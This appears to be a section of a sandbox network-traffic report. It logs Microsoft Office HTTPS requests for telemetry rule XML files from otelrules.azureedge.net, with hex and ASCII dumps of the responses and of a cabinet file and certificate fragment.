2024-11-29 18:50:05 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-29 18:50:05 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:05 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:05 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:05 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: fdde8523-d01e-0028-578c-3f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185005Z-174f7845968kvnqxhC1EWRmf3g0000000m1000000000kd16 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:05 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:05 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:05 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:05 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 1fdc6110-601e-003e-5e15-413248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185005Z-174f7845968n2hr8hC1EWR9cag0000000zyg00000000bt4b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:05 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:05 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:06 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:06 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: e544c55f-801e-0083-3181-3ff0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185006Z-174f7845968nxc96hC1EWRspw8000000102000000000anhx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:06 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:06 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:07 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:07 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 340b88d8-401e-0064-2ede-4154af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185007Z-174f7845968n2hr8hC1EWR9cag0000000zvg00000000p8kk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:07 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:06 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:07 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:07 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: fa4cd5d6-801e-007b-1bc0-41e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185007Z-174f7845968l4kp6hC1EWRe88400000010ng000000004rn3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:07 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:07 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:07 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:07 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 216ae412-001e-0082-6078-405880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185007Z-174f78459684bddphC1EWRbht40000000zyg00000000kvzp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:07 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:07 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:07 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:07 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: dc0e935b-901e-005b-3791-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185007Z-174f7845968glpgnhC1EWR7uec00000010d000000000hr35 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:07 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:08 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:08 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:08 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 6e0e77ff-301e-0052-0b15-4165d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185008Z-174f7845968xlwnmhC1EWR0sv8000000103g00000000dybm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:08 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:09 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:09 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:09 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 78026cae-d01e-0082-044f-41e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185009Z-174f7845968pght8hC1EWRyvxg00000003k0000000001wxz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:09 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:09 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:09 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:09 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 3a99e642-c01e-0049-2bdd-41ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185009Z-174f7845968px8v7hC1EWR08ng00000010eg00000000pvrt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:09 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:09 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:10 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:09 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 9b9719a8-201e-0033-3491-3fb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185009Z-174f7845968kvnqxhC1EWRmf3g0000000m7g0000000016e7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
